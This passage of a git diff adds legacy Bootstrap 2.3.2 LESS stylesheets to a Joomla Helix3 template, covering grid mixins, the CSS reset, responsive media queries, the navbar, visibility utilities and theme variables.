+ .offset@{index}:first-child { .offsetFirstChild(@index); }
+ .offsetX(@index - 1);
+ }
+ .offsetX (0) {}
+
+ .offset (@columns) {
+ margin-left: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1)) + (@fluidGridGutterWidth*2);
+ *margin-left: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%) + (@fluidGridGutterWidth*2) - (.5 / @gridRowWidth * 100 * 1%);
+ }
+
+ .offsetFirstChild (@columns) {
+ margin-left: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1)) + (@fluidGridGutterWidth);
+ *margin-left: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%) + @fluidGridGutterWidth - (.5 / @gridRowWidth * 100 * 1%);
+ }
+
+ .span (@columns) {
+ width: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1));
+ *width: (@fluidGridColumnWidth * @columns) + (@fluidGridGutterWidth * (@columns - 1)) - (.5 / @gridRowWidth * 100 * 1%);
+ }
+
+ .row-fluid {
+ .clearfix();
+ [class*="span"] {
+ .input-block-level();
+ float: left;
+ margin-left: @fluidGridGutterWidth;
+ *margin-left: @fluidGridGutterWidth - (.5 / @gridRowWidth * 100 * 1%);
+ }
+ [class*="span"]:first-child {
+ margin-left: 0;
+ }
+
+ // Space grid-sized controls properly if multiple per line
+ .controls-row [class*="span"] + [class*="span"] {
+ margin-left: @fluidGridGutterWidth;
+ }
+
+ // generate .spanX and .offsetX
+ .spanX (@gridColumns);
+ .offsetX (@gridColumns);
+ }
+
+ }
+
+ .input(@gridColumnWidth, @gridGutterWidth) {
+
+ .spanX (@index) when (@index > 0) {
+ input.span@{index}, textarea.span@{index}, .uneditable-input.span@{index} { .span(@index); }
+ .spanX(@index - 1);
+ }
+ .spanX (0) {}
+
+ .span(@columns) {
+ width: ((@gridColumnWidth) * @columns) + (@gridGutterWidth * (@columns - 1)) - 14;
+ }
+
+ input,
+ textarea,
+ .uneditable-input {
+ margin-left: 0; // override margin-left from core grid system
+ }
+
+ // Space grid-sized controls properly if multiple per line
+ .controls-row [class*="span"] + [class*="span"] {
+ margin-left: @gridGutterWidth;
+ }
+
+ // generate .spanX
+ .spanX (@gridColumns);
+
+ }
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/reset.less b/deployed/helix3/templates/shaper_helix3/less/legacy/reset.less
new file mode 100644
index 00000000..a25cc38a
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/reset.less
@@ -0,0 +1,217 @@
+//
+// Reset CSS
+// Adapted from http://github.com/necolas/normalize.css
+// --------------------------------------------------
+
+
+// Display in IE6-9 and FF3
+// -------------------------
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+nav,
+section {
+ display: block;
+}
+
+// Display block in IE6-9 and FF3
+// -------------------------
+
+audio,
+canvas,
+video {
+ display: inline-block;
+ *display: inline;
+ *zoom: 1;
+}
+
+// Prevents modern browsers from displaying 'audio' without controls
+// -------------------------
+
+audio:not([controls]) {
+ display: none;
+}
+
+// Base settings
+// -------------------------
+
+html {
+ font-size: 100%;
+ -webkit-text-size-adjust: 100%;
+ -ms-text-size-adjust: 100%;
+}
+// Focus states
+a:focus {
+ .tab-focus();
+}
+// Hover & Active
+a:hover,
+a:active {
+ outline: 0;
+}
+
+// Prevents sub and sup affecting line-height in all browsers
+// -------------------------
+
+sub,
+sup {
+ position: relative;
+ font-size: 75%;
+ line-height: 0;
+ vertical-align: baseline;
+}
+sup {
+ top: -0.5em;
+}
+sub {
+ bottom: -0.25em;
+}
+
+// Img border in a's and image quality
+// -------------------------
+
+img {
+ /* Responsive images (ensure images don't scale beyond their parents) */
+ max-width: 100%; /* Part 1: Set a maxium relative to the parent */
+ width: auto\9; /* IE7-8 need help adjusting responsive images */
+ height: auto; /* Part 2: Scale the height according to the width, otherwise you get stretching */
+
+ vertical-align: middle;
+ border: 0;
+ -ms-interpolation-mode: bicubic;
+}
+
+// Prevent max-width from affecting Google Maps
+#map_canvas img,
+.google-maps img,
+.gm-style img {
+ max-width: none;
+}
+
+// Forms
+// -------------------------
+
+// Font size in all browsers, margin changes, misc consistency
+button,
+input,
+select,
+textarea {
+ margin: 0;
+ font-size: 100%;
+ vertical-align: middle;
+}
+button,
+input {
+ *overflow: visible; // Inner spacing ie IE6/7
+ line-height: normal; // FF3/4 have !important on line-height in UA stylesheet
+}
+button::-moz-focus-inner,
+input::-moz-focus-inner { // Inner padding and border oddities in FF3/4
+ padding: 0;
+ border: 0;
+}
+button,
+html input[type="button"], // Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio` and `video` controls.
+input[type="reset"],
+input[type="submit"] {
+ -webkit-appearance: button; // Corrects inability to style clickable `input` types in iOS.
+ cursor: pointer; // Improves usability and consistency of cursor style between image-type `input` and others.
+}
+label,
+select,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"],
+input[type="radio"],
+input[type="checkbox"] {
+ cursor: pointer; // Improves usability and consistency of cursor style between image-type `input` and others.
+}
+input[type="search"] { // Appearance in Safari/Chrome
+ .box-sizing(content-box);
+ -webkit-appearance: textfield;
+}
+input[type="search"]::-webkit-search-decoration,
+input[type="search"]::-webkit-search-cancel-button {
+ -webkit-appearance: none; // Inner-padding issues in Chrome OSX, Safari 5
+}
+textarea {
+ overflow: auto; // Remove vertical scrollbar in IE6-9
+ vertical-align: top; // Readability and alignment cross-browser
+}
+
+
+// Printing
+// -------------------------
+// Source: https://github.com/h5bp/html5-boilerplate/blob/master/css/main.css
+
+@media print {
+
+ * {
+ text-shadow: none !important;
+ color: #000 !important; // Black prints faster: h5bp.com/s
+ background: transparent !important;
+ box-shadow: none !important;
+ }
+
+ a,
+ a:visited {
+ text-decoration: underline;
+ }
+
+ a[href]:after {
+ content: " (" attr(href) ")";
+ }
+
+ abbr[title]:after {
+ content: " (" attr(title) ")";
+ }
+
+ // Don't show links for images, or javascript/internal links
+ .ir a:after,
+ a[href^="javascript:"]:after,
+ a[href^="#"]:after {
+ content: "";
+ }
+
+ pre,
+ blockquote {
+ border: 1px solid #999;
+ page-break-inside: avoid;
+ }
+
+ thead {
+ display: table-header-group; // h5bp.com/t
+ }
+
+ tr,
+ img {
+ page-break-inside: avoid;
+ }
+
+ img {
+ max-width: 100% !important;
+ }
+
+ @page {
+ margin: 0.5cm;
+ }
+
+ p,
+ h2,
+ h3 {
+ orphans: 3;
+ widows: 3;
+ }
+
+ h2,
+ h3 {
+ page-break-after: avoid;
+ }
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-1200px-min.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-1200px-min.less
new file mode 100644
index 00000000..4f35ba6c
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-1200px-min.less
@@ -0,0 +1,28 @@
+//
+// Responsive: Large desktop and up
+// --------------------------------------------------
+
+
+@media (min-width: 1200px) {
+
+ // Fixed grid
+ #grid > .core(@gridColumnWidth1200, @gridGutterWidth1200);
+
+ // Fluid grid
+ #grid > .fluid(@fluidGridColumnWidth1200, @fluidGridGutterWidth1200);
+
+ // Input grid
+ #grid > .input(@gridColumnWidth1200, @gridGutterWidth1200);
+
+ // Thumbnails
+ .thumbnails {
+ margin-left: -@gridGutterWidth1200;
+ }
+ .thumbnails > li {
+ margin-left: @gridGutterWidth1200;
+ }
+ .row-fluid .thumbnails {
+ margin-left: 0;
+ }
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.joomla.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.joomla.less
new file mode 100644
index 00000000..d8ff8f7e
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.joomla.less
@@ -0,0 +1,37 @@
+//
+// Responsive: Landscape phone to desktop/tablet
+// --------------------------------------------------
+
+/* Joomla JUI NOTE: Original .modal definition has to be commented */
+
+// > Joomla JUI
+@media (max-width: 767px) {
+
+ // Modals
+ div.modal {
+ position: fixed;
+ top: 20px;
+ left: 20px;
+ right: 20px;
+ width: auto;
+ margin: 0;
+ &.fade { top: -100px; }
+ &.fade.in { top: 20px; }
+ }
+
+}
+
+// UP TO LANDSCAPE PHONE
+// ---------------------
+
+@media (max-width: 480px) {
+
+ // Modals
+ div.modal {
+ top: 10px;
+ left: 10px;
+ right: 10px;
+ }
+
+}
+// < Joomla JUI
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.less
new file mode 100644
index 00000000..2c33c74e
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-767px-max.less
@@ -0,0 +1,185 @@
+//
+// Responsive: Landscape phone to desktop/tablet
+// --------------------------------------------------
+
+
+@media (max-width: 767px) {
+
+ // Padding to set content in a bit
+ body {
+ padding-left: 20px;
+ padding-right: 20px;
+ }
+ // Negative indent the now static "fixed" navbar
+ .navbar-fixed-top,
+ .navbar-fixed-bottom,
+ .navbar-static-top {
+ margin-left: -20px;
+ margin-right: -20px;
+ }
+ // Remove padding on container given explicit padding set on body
+ .container-fluid {
+ padding: 0;
+ }
+
+ // TYPOGRAPHY
+ // ----------
+ // Reset horizontal dl
+ .dl-horizontal {
+ dt {
+ float: none;
+ clear: none;
+ width: auto;
+ text-align: left;
+ }
+ dd {
+ margin-left: 0;
+ }
+ }
+
+ // GRID & CONTAINERS
+ // -----------------
+ // Remove width from containers
+ .container {
+ width: auto;
+ }
+ // Fluid rows
+ .row-fluid {
+ width: 100%;
+ }
+ // Undo negative margin on rows and thumbnails
+ .row,
+ .thumbnails {
+ margin-left: 0;
+ }
+ .thumbnails > li {
+ float: none;
+ margin-left: 0; // Reset the default margin for all li elements when no .span* classes are present
+ }
+ // Make all grid-sized elements block level again
+ [class*="span"],
+ .uneditable-input[class*="span"], // Makes uneditable inputs full-width when using grid sizing
+ .row-fluid [class*="span"] {
+ float: none;
+ display: block;
+ width: 100%;
+ margin-left: 0;
+ .box-sizing(border-box);
+ }
+ .span12,
+ .row-fluid .span12 {
+ width: 100%;
+ .box-sizing(border-box);
+ }
+ .row-fluid [class*="offset"]:first-child {
+ margin-left: 0;
+ }
+
+ // FORM FIELDS
+ // -----------
+ // Make span* classes full width
+ .input-large,
+ .input-xlarge,
+ .input-xxlarge,
+ input[class*="span"],
+ select[class*="span"],
+ textarea[class*="span"],
+ .uneditable-input {
+ .input-block-level();
+ }
+ // But don't let it screw up prepend/append inputs
+ .input-prepend input,
+ .input-append input,
+ .input-prepend input[class*="span"],
+ .input-append input[class*="span"] {
+ display: inline-block; // redeclare so they don't wrap to new lines
+ width: auto;
+ }
+ .controls-row [class*="span"] + [class*="span"] {
+ margin-left: 0;
+ }
+
+ // Modals
+// /* >>> JUI >>> */
+// .modal REMOVED
+// /* <<< JUI <<< */
+
+}
+
+
+
+// UP TO LANDSCAPE PHONE
+// ---------------------
+
+@media (max-width: 480px) {
+
+ // Smooth out the collapsing/expanding nav
+ .nav-collapse {
+ -webkit-transform: translate3d(0, 0, 0); // activate the GPU
+ }
+
+ // Block level the page header small tag for readability
+ .page-header h1 small {
+ display: block;
+ line-height: @baseLineHeight;
+ }
+
+ // Update checkboxes for iOS
+ input[type="checkbox"],
+ input[type="radio"] {
+ border: 1px solid #ccc;
+ }
+
+ // Remove the horizontal form styles
+ .form-horizontal {
+ .control-label {
+ float: none;
+ width: auto;
+ padding-top: 0;
+ text-align: left;
+ }
+ // Move over all input controls and content
+ .controls {
+ margin-left: 0;
+ }
+ // Move the options list down to align with labels
+ .control-list {
+ padding-top: 0; // has to be padding because margin collaspes
+ }
+ // Move over buttons in .form-actions to align with .controls
+ .form-actions {
+ padding-left: 10px;
+ padding-right: 10px;
+ }
+ }
+
+ // Medias
+ // Reset float and spacing to stack
+ .media .pull-left,
+ .media .pull-right {
+ float: none;
+ display: block;
+ margin-bottom: 10px;
+ }
+ // Remove side margins since we stack instead of indent
+ .media-object {
+ margin-right: 0;
+ margin-left: 0;
+ }
+
+ // Modals
+// > Joomla JUI
+// .modal REMOVED
+// < Joomla JUI
+
+ .modal-header .close {
+ padding: 10px;
+ margin: -10px;
+ }
+
+ // Carousel
+ .carousel-caption {
+ position: static;
+ }
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-768px-979px.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-768px-979px.less
new file mode 100644
index 00000000..8e8c486a
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-768px-979px.less
@@ -0,0 +1,19 @@
+//
+// Responsive: Tablet to desktop
+// --------------------------------------------------
+
+
+@media (min-width: 768px) and (max-width: 979px) {
+
+ // Fixed grid
+ #grid > .core(@gridColumnWidth768, @gridGutterWidth768);
+
+ // Fluid grid
+ #grid > .fluid(@fluidGridColumnWidth768, @fluidGridGutterWidth768);
+
+ // Input grid
+ #grid > .input(@gridColumnWidth768, @gridGutterWidth768);
+
+ // No need to reset .thumbnails here since it's the same @gridGutterWidth
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-navbar.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-navbar.less
new file mode 100644
index 00000000..21cd3ba6
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-navbar.less
@@ -0,0 +1,189 @@
+//
+// Responsive: Navbar
+// --------------------------------------------------
+
+
+// TABLETS AND BELOW
+// -----------------
+@media (max-width: @navbarCollapseWidth) {
+
+ // UNFIX THE TOPBAR
+ // ----------------
+ // Remove any padding from the body
+ body {
+ padding-top: 0;
+ }
+ // Unfix the navbars
+ .navbar-fixed-top,
+ .navbar-fixed-bottom {
+ position: static;
+ }
+ .navbar-fixed-top {
+ margin-bottom: @baseLineHeight;
+ }
+ .navbar-fixed-bottom {
+ margin-top: @baseLineHeight;
+ }
+ .navbar-fixed-top .navbar-inner,
+ .navbar-fixed-bottom .navbar-inner {
+ padding: 5px;
+ }
+ .navbar .container {
+ width: auto;
+ padding: 0;
+ }
+ // Account for brand name
+ .navbar .brand {
+ padding-left: 10px;
+ padding-right: 10px;
+ margin: 0 0 0 -5px;
+ }
+
+ // COLLAPSIBLE NAVBAR
+ // ------------------
+ // Nav collapse clears brand
+ .nav-collapse {
+ clear: both;
+ }
+ // Block-level the nav
+ .nav-collapse .nav {
+ float: none;
+ margin: 0 0 (@baseLineHeight / 2);
+ }
+ .nav-collapse .nav > li {
+ float: none;
+ }
+ .nav-collapse .nav > li > a {
+ margin-bottom: 2px;
+ }
+ .nav-collapse .nav > .divider-vertical {
+ display: none;
+ }
+ .nav-collapse .nav .nav-header {
+ color: @navbarText;
+ text-shadow: none;
+ }
+ // Nav and dropdown links in navbar
+ .nav-collapse .nav > li > a,
+ .nav-collapse .dropdown-menu a {
+ padding: 9px 15px;
+ font-weight: bold;
+ color: @navbarLinkColor;
+ .border-radius(3px);
+ }
+ // Buttons
+ .nav-collapse .btn {
+ padding: 4px 10px 4px;
+ font-weight: normal;
+ .border-radius(@baseBorderRadius);
+ }
+ .nav-collapse .dropdown-menu li + li a {
+ margin-bottom: 2px;
+ }
+ .nav-collapse .nav > li > a:hover,
+ .nav-collapse .nav > li > a:focus,
+ .nav-collapse .dropdown-menu a:hover,
+ .nav-collapse .dropdown-menu a:focus {
+ background-color: @navbarBackground;
+ }
+ .navbar-inverse .nav-collapse .nav > li > a,
+ .navbar-inverse .nav-collapse .dropdown-menu a {
+ color: @navbarInverseLinkColor;
+ }
+ .navbar-inverse .nav-collapse .nav > li > a:hover,
+ .navbar-inverse .nav-collapse .nav > li > a:focus,
+ .navbar-inverse .nav-collapse .dropdown-menu a:hover,
+ .navbar-inverse .nav-collapse .dropdown-menu a:focus {
+ background-color: @navbarInverseBackground;
+ }
+ // Buttons in the navbar
+ .nav-collapse.in .btn-group {
+ margin-top: 5px;
+ padding: 0;
+ }
+ // Dropdowns in the navbar
+ .nav-collapse .dropdown-menu {
+ position: static;
+ top: auto;
+ left: auto;
+ float: none;
+ display: none;
+ max-width: none;
+ margin: 0 15px;
+ padding: 0;
+ background-color: transparent;
+ border: none;
+ .border-radius(0);
+ .box-shadow(none);
+ }
+ .nav-collapse .open > .dropdown-menu {
+ display: block;
+ }
+
+ .nav-collapse .dropdown-menu:before,
+ .nav-collapse .dropdown-menu:after {
+ display: none;
+ }
+ .nav-collapse .dropdown-menu .divider {
+ display: none;
+ }
+ .nav-collapse .nav > li > .dropdown-menu {
+ &:before,
+ &:after {
+ display: none;
+ }
+ }
+ // Forms in navbar
+ .nav-collapse .navbar-form,
+ .nav-collapse .navbar-search {
+ float: none;
+ padding: (@baseLineHeight / 2) 15px;
+ margin: (@baseLineHeight / 2) 0;
+ border-top: 1px solid @navbarBackground;
+ border-bottom: 1px solid @navbarBackground;
+ .box-shadow(~"inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1)");
+ }
+ .navbar-inverse .nav-collapse .navbar-form,
+ .navbar-inverse .nav-collapse .navbar-search {
+ border-top-color: @navbarInverseBackground;
+ border-bottom-color: @navbarInverseBackground;
+ }
+ // Pull right (secondary) nav content
+ .navbar .nav-collapse .nav.pull-right {
+ float: none;
+ margin-left: 0;
+ }
+ // Hide everything in the navbar save .brand and toggle button */
+ .nav-collapse,
+ .nav-collapse.collapse {
+ overflow: hidden;
+ height: 0;
+ }
+ // Navbar button
+ .navbar .btn-navbar {
+ display: block;
+ }
+
+ // STATIC NAVBAR
+ // -------------
+ .navbar-static .navbar-inner {
+ padding-left: 10px;
+ padding-right: 10px;
+ }
+
+
+}
+
+
+// DEFAULT DESKTOP
+// ---------------
+
+@media (min-width: @navbarCollapseDesktopWidth) {
+
+ // Required to make the collapsing navbar work on regular desktops
+ .nav-collapse.collapse {
+ height: auto !important;
+ overflow: visible !important;
+ }
+
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-utilities.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-utilities.less
new file mode 100644
index 00000000..bf43e8ef
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive-utilities.less
@@ -0,0 +1,59 @@
+//
+// Responsive: Utility classes
+// --------------------------------------------------
+
+
+// IE10 Metro responsive
+// Required for Windows 8 Metro split-screen snapping with IE10
+// Source: http://timkadlec.com/2012/10/ie10-snap-mode-and-responsive-design/
+@-ms-viewport{
+ width: device-width;
+}
+
+// Hide from screenreaders and browsers
+// Credit: HTML5 Boilerplate
+.hidden {
+ display: none;
+ visibility: hidden;
+}
+
+// Visibility utilities
+
+// For desktops
+.visible-phone { display: none !important; }
+.visible-tablet { display: none !important; }
+.hidden-phone { }
+.hidden-tablet { }
+.hidden-desktop { display: none !important; }
+.visible-desktop { display: inherit !important; }
+
+// Tablets & small desktops only
+@media (min-width: 768px) and (max-width: 979px) {
+ // Hide everything else
+ .hidden-desktop { display: inherit !important; }
+ .visible-desktop { display: none !important ; }
+ // Show
+ .visible-tablet { display: inherit !important; }
+ // Hide
+ .hidden-tablet { display: none !important; }
+}
+
+// Phones only
+@media (max-width: 767px) {
+ // Hide everything else
+ .hidden-desktop { display: inherit !important; }
+ .visible-desktop { display: none !important; }
+ // Show
+ .visible-phone { display: inherit !important; } // Use inherit to restore previous behavior
+ // Hide
+ .hidden-phone { display: none !important; }
+}
+
+// Print utilities
+.visible-print { display: none !important; }
+.hidden-print { }
+
+@media print {
+ .visible-print { display: inherit !important; }
+ .hidden-print { display: none !important; }
+}
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/responsive.less b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive.less
new file mode 100644
index 00000000..9e5f9b1f
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/responsive.less
@@ -0,0 +1,48 @@
+/*!
+ * Bootstrap Responsive v2.3.2
+ *
+ * Copyright 2012 Twitter, Inc
+ * Licensed under the Apache License v2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Designed and built with all the love in the world @twitter by @mdo and @fat.
+ */
+
+
+// Responsive.less
+// For phone and tablet devices
+// -------------------------------------------------------------
+
+
+// REPEAT VARIABLES & MIXINS
+// -------------------------
+// Required since we compile the responsive stuff separately
+
+@import "variables.less"; // Modify this for custom colors, font-sizes, etc
+@import "mixins.less";
+
+
+// RESPONSIVE CLASSES
+// ------------------
+
+@import "responsive-utilities.less";
+
+
+// MEDIA QUERIES
+// ------------------
+
+// Large desktops
+@import "responsive-1200px-min.less";
+
+// Tablets to regular desktops
+@import "responsive-768px-979px.less";
+
+// Phones to portrait tablets and narrow desktops
+@import "responsive-767px-max.less";
+
+
+// RESPONSIVE NAVBAR
+// ------------------
+
+// From 979px and below, show a button to toggle navbar contents
+@import "responsive-navbar.less";
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/variables.less b/deployed/helix3/templates/shaper_helix3/less/legacy/variables.less
new file mode 100644
index 00000000..31c131b1
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/variables.less
@@ -0,0 +1,301 @@
+//
+// Variables
+// --------------------------------------------------
+
+
+// Global values
+// --------------------------------------------------
+
+
+// Grays
+// -------------------------
+@black: #000;
+@grayDarker: #222;
+@grayDark: #333;
+@gray: #555;
+@grayLight: #999;
+@grayLighter: #eee;
+@white: #fff;
+
+
+// Accent colors
+// -------------------------
+@blue: #049cdb;
+@blueDark: #0064cd;
+@green: #46a546;
+@red: #9d261d;
+@yellow: #ffc40d;
+@orange: #f89406;
+@pink: #c3325f;
+@purple: #7a43b6;
+
+
+// Scaffolding
+// -------------------------
+@bodyBackground: @white;
+@textColor: @grayDark;
+
+
+// Links
+// -------------------------
+@linkColor: #08c;
+@linkColorHover: darken(@linkColor, 15%);
+
+
+// Typography
+// -------------------------
+@sansFontFamily: "Helvetica Neue", Helvetica, Arial, sans-serif;
+@serifFontFamily: Georgia, "Times New Roman", Times, serif;
+@monoFontFamily: Monaco, Menlo, Consolas, "Courier New", monospace;
+
+@baseFontSize: 14px;
+@baseFontFamily: @sansFontFamily;
+@baseLineHeight: 20px;
+@altFontFamily: @serifFontFamily;
+
+@headingsFontFamily: inherit; // empty to use BS default, @baseFontFamily
+@headingsFontWeight: bold; // instead of browser default, bold
+@headingsColor: inherit; // empty to use BS default, @textColor
+
+
+// Component sizing
+// -------------------------
+// Based on 14px font-size and 20px line-height
+
+@fontSizeLarge: @baseFontSize * 1.25; // ~18px
+@fontSizeSmall: @baseFontSize * 0.85; // ~12px
+@fontSizeMini: @baseFontSize * 0.75; // ~11px
+
+@paddingLarge: 11px 19px; // 44px
+@paddingSmall: 2px 10px; // 26px
+@paddingMini: 0 6px; // 22px
+
+@baseBorderRadius: 4px;
+@borderRadiusLarge: 6px;
+@borderRadiusSmall: 3px;
+
+
+// Tables
+// -------------------------
+@tableBackground: transparent; // overall background-color
+@tableBackgroundAccent: #f9f9f9; // for striping
+@tableBackgroundHover: #f5f5f5; // for hover
+@tableBorder: #ddd; // table and cell border
+
+// Buttons
+// -------------------------
+@btnBackground: @white;
+@btnBackgroundHighlight: darken(@white, 10%);
+@btnBorder: #ccc;
+
+@btnPrimaryBackground: @linkColor;
+@btnPrimaryBackgroundHighlight: spin(@btnPrimaryBackground, 20%);
+
+@btnInfoBackground: #5bc0de;
+@btnInfoBackgroundHighlight: #2f96b4;
+
+@btnSuccessBackground: #62c462;
+@btnSuccessBackgroundHighlight: #51a351;
+
+@btnWarningBackground: lighten(@orange, 15%);
+@btnWarningBackgroundHighlight: @orange;
+
+@btnDangerBackground: #ee5f5b;
+@btnDangerBackgroundHighlight: #bd362f;
+
+@btnInverseBackground: #444;
+@btnInverseBackgroundHighlight: @grayDarker;
+
+
+// Forms
+// -------------------------
+@inputBackground: @white;
+@inputBorder: #ccc;
+@inputBorderRadius: @baseBorderRadius;
+@inputDisabledBackground: @grayLighter;
+@formActionsBackground: #f5f5f5;
+@inputHeight: @baseLineHeight + 10px; // base line-height + 8px vertical padding + 2px top/bottom border
+
+
+// Dropdowns
+// -------------------------
+@dropdownBackground: @white;
+@dropdownBorder: rgba(0,0,0,.2);
+@dropdownDividerTop: #e5e5e5;
+@dropdownDividerBottom: @white;
+
+@dropdownLinkColor: @grayDark;
+@dropdownLinkColorHover: @white;
+@dropdownLinkColorActive: @white;
+
+@dropdownLinkBackgroundActive: @linkColor;
+@dropdownLinkBackgroundHover: @dropdownLinkBackgroundActive;
+
+
+
+// COMPONENT VARIABLES
+// --------------------------------------------------
+
+
+// Z-index master list
+// -------------------------
+// Used for a bird's eye view of components dependent on the z-axis
+// Try to avoid customizing these :)
+@zindexDropdown: 1000;
+@zindexPopover: 1010;
+@zindexTooltip: 1030;
+@zindexFixedNavbar: 1030;
+@zindexModalBackdrop: 1040;
+@zindexModal: 1050;
+
+
+// Sprite icons path
+// -------------------------
+@iconSpritePath: "../img/glyphicons-halflings.png";
+@iconWhiteSpritePath: "../img/glyphicons-halflings-white.png";
+
+
+// Input placeholder text color
+// -------------------------
+@placeholderText: @grayLight;
+
+
+// Hr border color
+// -------------------------
+@hrBorder: @grayLighter;
+
+
+// Horizontal forms & lists
+// -------------------------
+@horizontalComponentOffset: 180px;
+
+
+// Wells
+// -------------------------
+@wellBackground: #f5f5f5;
+
+
+// Navbar
+// -------------------------
+@navbarCollapseWidth: 979px;
+@navbarCollapseDesktopWidth: @navbarCollapseWidth + 1;
+
+@navbarHeight: 40px;
+@navbarBackgroundHighlight: #ffffff;
+@navbarBackground: darken(@navbarBackgroundHighlight, 5%);
+@navbarBorder: darken(@navbarBackground, 12%);
+
+@navbarText: #777;
+@navbarLinkColor: #777;
+@navbarLinkColorHover: @grayDark;
+@navbarLinkColorActive: @gray;
+@navbarLinkBackgroundHover: transparent;
+@navbarLinkBackgroundActive: darken(@navbarBackground, 5%);
+
+@navbarBrandColor: @navbarLinkColor;
+
+// Inverted navbar
+@navbarInverseBackground: #111111;
+@navbarInverseBackgroundHighlight: #222222;
+@navbarInverseBorder: #252525;
+
+@navbarInverseText: @grayLight;
+@navbarInverseLinkColor: @grayLight;
+@navbarInverseLinkColorHover: @white;
+@navbarInverseLinkColorActive: @navbarInverseLinkColorHover;
+@navbarInverseLinkBackgroundHover: transparent;
+@navbarInverseLinkBackgroundActive: @navbarInverseBackground;
+
+@navbarInverseSearchBackground: lighten(@navbarInverseBackground, 25%);
+@navbarInverseSearchBackgroundFocus: @white;
+@navbarInverseSearchBorder: @navbarInverseBackground;
+@navbarInverseSearchPlaceholderColor: #ccc;
+
+@navbarInverseBrandColor: @navbarInverseLinkColor;
+
+
+// Pagination
+// -------------------------
+@paginationBackground: #fff;
+@paginationBorder: #ddd;
+@paginationActiveBackground: #f5f5f5;
+
+
+// Hero unit
+// -------------------------
+@heroUnitBackground: @grayLighter;
+@heroUnitHeadingColor: inherit;
+@heroUnitLeadColor: inherit;
+
+
+// Form states and alerts
+// -------------------------
+@warningText: #c09853;
+@warningBackground: #fcf8e3;
+@warningBorder: darken(spin(@warningBackground, -10), 3%);
+
+@errorText: #b94a48;
+@errorBackground: #f2dede;
+@errorBorder: darken(spin(@errorBackground, -10), 3%);
+
+@successText: #468847;
+@successBackground: #dff0d8;
+@successBorder: darken(spin(@successBackground, -10), 5%);
+
+@infoText: #3a87ad;
+@infoBackground: #d9edf7;
+@infoBorder: darken(spin(@infoBackground, -10), 7%);
+
+
+// Tooltips and popovers
+// -------------------------
+@tooltipColor: #fff;
+@tooltipBackground: #000;
+@tooltipArrowWidth: 5px;
+@tooltipArrowColor: @tooltipBackground;
+
+@popoverBackground: #fff;
+@popoverArrowWidth: 10px;
+@popoverArrowColor: #fff;
+@popoverTitleBackground: darken(@popoverBackground, 3%);
+
+// Special enhancement for popovers
+@popoverArrowOuterWidth: @popoverArrowWidth + 1;
+@popoverArrowOuterColor: rgba(0,0,0,.25);
+
+
+
+// GRID
+// --------------------------------------------------
+
+
+// Default 940px grid
+// -------------------------
+@gridColumns: 12;
+@gridColumnWidth: 60px;
+@gridGutterWidth: 20px;
+@gridRowWidth: (@gridColumns * @gridColumnWidth) + (@gridGutterWidth * (@gridColumns - 1));
+
+// 1200px min
+@gridColumnWidth1200: 70px;
+@gridGutterWidth1200: 30px;
+@gridRowWidth1200: (@gridColumns * @gridColumnWidth1200) + (@gridGutterWidth1200 * (@gridColumns - 1));
+
+// 768px-979px
+@gridColumnWidth768: 42px;
+@gridGutterWidth768: 20px;
+@gridRowWidth768: (@gridColumns * @gridColumnWidth768) + (@gridGutterWidth768 * (@gridColumns - 1));
+
+
+// Fluid grid
+// -------------------------
+@fluidGridColumnWidth: percentage(@gridColumnWidth/@gridRowWidth);
+@fluidGridGutterWidth: percentage(@gridGutterWidth/@gridRowWidth);
+
+// 1200px min
+@fluidGridColumnWidth1200: percentage(@gridColumnWidth1200/@gridRowWidth1200);
+@fluidGridGutterWidth1200: percentage(@gridGutterWidth1200/@gridRowWidth1200);
+
+// 768px-979px
+@fluidGridColumnWidth768: percentage(@gridColumnWidth768/@gridRowWidth768);
+@fluidGridGutterWidth768: percentage(@gridGutterWidth768/@gridRowWidth768);
diff --git a/deployed/helix3/templates/shaper_helix3/less/legacy/wells.less b/deployed/helix3/templates/shaper_helix3/less/legacy/wells.less
new file mode 100644
index 00000000..84a744b1
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/legacy/wells.less
